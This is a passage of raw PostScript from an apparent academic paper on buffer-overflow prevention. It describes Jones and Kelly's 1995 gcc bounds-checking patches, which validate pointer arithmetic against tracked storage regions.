F2_100 Ji 612 1035 M 0.200 0 (it)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (l)A -0.300 0 (f)A 3.000 0 32 (, )W -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 3.000 0 32 (nd upp)W -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D (bound)S 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 2.900 0 32 0.100 0 (ss s)D (p)S -0.400 0 (ace)A 4.000 0 32 (. )W -0.700 0 (B)A 7.000 0 32 -3.000 0 (y )D -1.000 0 (g)A 0.200 0 (i)A (v)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e a)D (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A 19.800 0 32 0.200 0 (l )D (upp)S -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 20.000 0 32 (nd )W 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D 20.000 0 32 (bound )W 0.200 0 (i)A (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 20.000 0 32 (on, )W 19.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 20.000 0 32 (d )W 0.200 0 (t)A (h)S -0.400 0 (e)A 21.000 0 32 (n b)W 21.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (i)A -0.400 0 (a)A 20.800 0 32 0.200 0 (l t)D 21.000 0 32 (o do bound)W 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 47.000 0 32 -1.000 0 (g )D (b)S -0.400 0 (e)A -0.300 0 (f)A (o)S -0.300 0 (r)A 46.400 0 32 -0.400 0 (e )D (b)S -3.000 0 (y)A 0.200 0 (t)A 46.400 0 32 -0.400 0 (e c)D (op)S 49.000 0 32 -3.000 0 (y )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 46.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 46.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 45.900 0 32 0.100 0 (s )D (b)S -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (it)A 46.000 0 32 (, u)W 0.100 0 (s)A 0.200 0 (i)A (n)S 47.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 46.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 47.000 0 32 (h )W 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D (bound)S 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (h)S -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 0.100 0 (s)A 6.800 0 32 0.200 0 (: )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 7.000 0 32 (on )W 0.200 0 (tim)A 7.400 0 32 -0.400 0 (e )D (o)S 7.300 0 32 -0.300 0 (f r)D -0.400 0 (e)A 0.100 0 (s)A (u)S 0.200 0 (lti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S -0.400 0 (c)A -0.300 0 (r)A -0.400 0 (ea)A 0.100 0 (s)A -0.400 0 (e)A 2.900 0 32 0.100 0 (s )D (b)S 6.000 0 32 -3.000 0 (y )D 3.400 0 32 -0.400 0 (a )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A (o)S 4.300 0 32 -0.300 0 (r )D (o)S 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (n o)W 4.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 0.700 0 ([)A (5)S 0.700 0 (])A 4.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 4.000 0 32 (on b)W -0.400 0 (ec)A (o)S 0.200 0 (m)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (o)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 4.400 0 32 -0.400 0 (e )D (b)S 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A (o)S 0.300 0 32 -0.300 0 (r )D (o)S 0.300 0 32 -0.300 0 (f )D (3)S 0.200 0 (:)A (1, n)S -0.400 0 (e)A 0.200 0 32 -0.200 0 (w )D (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (i)A (on)S -0.100 0 32 0.100 0 (s )D (o)S 1.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 0.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 1.000 0 32 (d )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.800 0 32 0.200 0 (m li)D (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A 1.000 0 32 (nd )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.800 0 32 0.200 0 (m )D -0.400 0 (ca)A 0.200 0 (ll)A 0.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.800 0 32 0.200 0 (t )D (b)S 1.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S -0.400 0 (e)A (d,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.400 0 (a)A 1.000 0 32 (nd )W -0.400 0 (c)A (od)S 1.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 0.800 0 32 0.200 0 (t i)D (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (rf)A -0.400 0 (ace)A 1.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 2.400 0 32 -0.400 0 (e )D (d)S 0.200 0 (i)A -0.300 0 (r)A -0.400 0 (ec)A 0.200 0 (tl)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (m)A -0.400 0 (a)A 5.000 0 32 -3.000 0 (y )D (b)S 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S -0.400 0 (a)A 0.200 0 (ti)A (b)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A (qu)S 0.200 0 (i)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M -0.039 0 (special attention.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2451 M 14.200 0 32 -0.200 0 (A )D (un)S 0.200 0 (i)A (q)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1201 2451 M (u)S 15.400 0 32 -0.400 0 (e a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 15.000 0 32 (h )W 0.200 0 (t)A 15.000 0 32 (o )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 15.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 15.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A (nn)S -0.400 0 (e)A 15.300 0 32 -0.300 0 (r )D -0.200 0 (w)A -0.400 0 (a)A 14.900 0 32 0.100 0 (s )D (don)S 15.400 0 32 -0.400 0 (e )D (b)S 18.000 0 32 -3.000 0 (y )D 0.300 0 (R)A 0.200 0 (i)A -0.400 0 (c)A (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M 1.100 0 (J)A (on)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A 2.000 0 32 (nd )W 0.400 0 (P)A -0.400 0 (a)A (u)S 1.800 0 32 0.200 0 (l )D -0.200 0 (K)A -0.400 0 (e)A 0.200 0 (ll)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 2.800 0 32 0.200 0 (t )D -2.300 0 (I)A 0.200 0 (m)A (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A 2.800 0 32 0.200 0 (l )D 0.300 0 (C)A (o)S 0.200 0 (ll)A -0.400 0 (e)A -1.000 0 (g)A 3.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 3.000 0 32 (n )W 1.100 0 (J)A (u)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D (1995)S ; : 2713 2612 2170 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 2786 2612 M 0.500 0 (14)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2854 2628 M 3.000 0 32 (. )W -0.100 0 (T)A (h)S -0.400 0 (e)A 0.200 0 (i)A 3.300 0 32 -0.300 0 (r )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S -0.400 0 (e)A 2.900 0 32 0.100 0 (s )D 0.200 0 (t)A 3.000 0 32 (o )W -1.000 0 (g)A 3.400 0 32 -0.400 0 (cc a)D -0.300 0 (r)A 3.400 0 32 -0.400 0 (e a)D (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 3.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M 0.100 0 (s)A (ou)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (ce a)D 4.000 0 32 (nd b)W 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A ; : 1476 2789 3407 76 rc 0 0 0 sco F2_67 Ji 1549 2789 M 0.500 0 (15)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1617 2805 M (.)S 0.700 0 ([)A (6)S 3.300 0 32 0.700 0 (] )D -0.100 0 (T)A (h)S -0.400 0 (e)A 0.200 0 (i)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 4.000 0 32 (o p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 3.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 56.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 56.400 0 32 -0.400 0 (e )D (o)S 56.300 0 32 -0.300 0 (f )D (bound)S 55.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S -1.000 0 (g)A 56.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A (hou)S 55.800 0 32 0.200 0 (t m)D (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 58.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 57.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 57.000 0 32 (on o)W 57.300 0 32 -0.300 0 (f )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (, )W 1.100 0 (J)A (on)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A 3.000 0 32 (nd )W -0.200 0 (K)A -0.400 0 (e)A 0.200 0 (ll)A 6.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (op)S 0.200 0 (ti)A 3.000 0 32 (on )W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (t)A (u)S -0.300 0 (r)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (bound)S 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (od)S 3.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 4047 3159 M 3.000 0 32 (on )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4175 3159 M (o)S 3.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 4286 3159 M (o)S 0.200 0 (ff)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M 0.200 0 (i)A 2.000 0 32 (n )W 2.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 2.000 0 32 (n p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 2.000 0 32 (. )W -0.700 0 (B)A 6.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W 3.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 3.200 0 32 -0.200 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 3142 3336 M (ba)S 0.100 0 (s)A 3.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (r)A 3.000 0 32 (, )W -0.400 0 (k)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3739 3336 M 3.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (a)A 2.800 0 32 0.200 0 (t i)D 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A (v)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3513 M -0.074 0 (from the original pointer, )A ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 1646 3513 M (p)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1696 3513 M -0.070 0 (, the following formula was used:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M -0.200 0 (O)A (n)S 0.200 0 (l)A 11.000 0 32 -3.000 0 (y )D (on)S 9.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A 0.200 0 (li)A 9.000 0 32 (d )W -0.300 0 (f)A (o)S 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 9.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 9.000 0 32 (on )W -0.400 0 (a)A 9.000 0 32 (nd on)W 9.400 0 32 -0.400 0 (e ca)D 9.000 0 32 (n )W -0.400 0 (c)A (h)S -0.400 0 (ec)A 9.000 0 32 (k )W -0.200 0 (w)A (h)S -0.400 0 (e)A 0.200 0 (t)A (h)S -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (it)A (h)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (ti)A -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4398 M -0.400 0 (e)A 1.000 0 (x)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 0.200 0 (i)A (on )S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D (v)S -0.400 0 (a)A 0.200 0 (li)A 1.000 0 32 (d b)W 4.000 0 32 -3.000 0 (y )D -0.300 0 (f)A 0.200 0 (i)A (nd)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (it)A 0.900 0 32 0.100 0 (s )D (b)S -0.400 0 (a)A 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (')A 0.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 1.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 1.000 0 32 (on. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S -0.400 0 (e)A 1.000 0 32 (d )W -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A 1.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4575 M -0.057 0 (that the expression\222s result points to the same storage region.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4752 M -2.300 0 (I)A 6.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 6.000 0 32 (on )W 1.100 0 (J)A (on)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.000 0 32 (nd )W -0.200 0 (K)A -0.400 0 (e)A 0.200 0 (ll)A 10.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 7.000 0 32 (d )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A (on)S 6.800 0 32 0.200 0 (t )D -0.400 0 (e)A 7.000 0 32 (nd o)W 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 7.200 0 32 -0.200 0 (GNU )D (p)S -0.300 0 (r)A (o)S 0.200 0 (j)A -0.400 0 (ec)A 0.200 0 (t)A -0.300 0 (\222)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M 2.400 0 32 -0.400 0 (cc c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 2.000 0 32 (, )W -1.000 0 (g)A -0.400 0 (cc)A 2.000 0 32 (. )W 0.300 0 (C)A (od)S 2.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A (dd)S -0.400 0 (e)A 2.000 0 32 (d )W 0.200 0 (t)A 2.000 0 32 (o )W -0.400 0 (c)A (h)S -0.400 0 (ec)A 2.000 0 32 (k po)W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (it)A (h)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (ti)A 2.400 0 32 -0.400 0 (c a)D 2.000 0 32 (nd u)W 0.100 0 (s)A -0.400 0 (e)A 2.000 0 32 (, )W -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (t)A 3.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 3.000 0 32 (n )W 3.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M (o)S 18.300 0 32 -0.300 0 (f )D (kno)S -0.200 0 (w)A 18.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 18.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (on)S 17.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 19.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (p)S 0.200 0 (l)A -0.400 0 (a)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ee)A 17.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 18.300 0 32 -0.300 0 (r )D -0.400 0 (e)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S -0.400 0 (c)A -3.000 0 (y)A 19.000 0 32 (. )W -2.100 0 (L)A 0.200 0 (imit)A -0.400 0 (e)A 19.000 0 32 (d p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5283 M -0.027 0 (statistics are as follows:)A ; : 522 5486 2880 94 rc 0 0 0 sco F2_83 Ji 612 5486 M 0.250 0 ( )A ; : 1152 5486 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5486 M 0.250 0 ( )A ; 612 5539 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5582 M (14)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5587 M 0.200 0 ( http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (15)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.187 0 ( ../../docs/ftp_/p_subdomain/dse.doc)A ; : 2036 3854 902 244 rc 0 0 0 sco %%IncludeFont: Symbol (F9) cvn 1.008 (Symbol) cvn /Type1 F (Symbol) cvn mF (F9_94_127) cvn F9 94 0 0 127 0 0 xMF F9_94_127 Ji 2181 3854 M -0.302 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_94_127 Ji 2422 3854 M -0.302 0 (\))A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_98_118) cvn F9 98 0 0 118 0 0 xMF F9_98_118 Ji 2542 3860 M 0.366 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_98_118 Ji 2758 3860 M 0.366 0 (\))A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_94_146) cvn F9 94 0 0 146 0 0 xMF F9_94_146 Ji 2148 3839 M -0.302 0 (\()A ; : 2036 3854 902 244 rc 0 0 0 sco F9_94_146 Ji 2790 3839 M -0.302 0 (\))A ; : 2110 3887 828 114 rc 0 0 0 sco F6_100 Ji 2226 3887 M (p)S ; : 2463 3887 475 114 rc 0 0 0 sco F6_100 Ji 2579 3887 M -0.400 0 (k)A ; : 2036 3854 902 244 rc 0 0 0 sco (F9_100) cvn F9 100 xF F9_100 Ji 2295 3876 M 0.100 0 (+)A ; : 2036 3854 902 244 rc 0 0 0 sco F9_100 Ji 2471 3876 M 0.100 0 (\264)A ; : 2036 3854 902 244 rc 0 0 0 sco F9_100 Ji 2647 3876 M 0.100 0 (+)A ; : 2260 3887 678 114 rc 0 0 0 sco F2_100 Ji 2369 3887 M (2)S ; : 2604 3887 334 114 rc 0 0 0 sco F2_100 Ji 2713 3887 M (1)S ; 2111 3854 N M 6 6 rr : 0 0 0 sco O ; 2111 3854 N M 6 6 rr : 0 0 0 sco O ; 2117 3854 N M 740 6 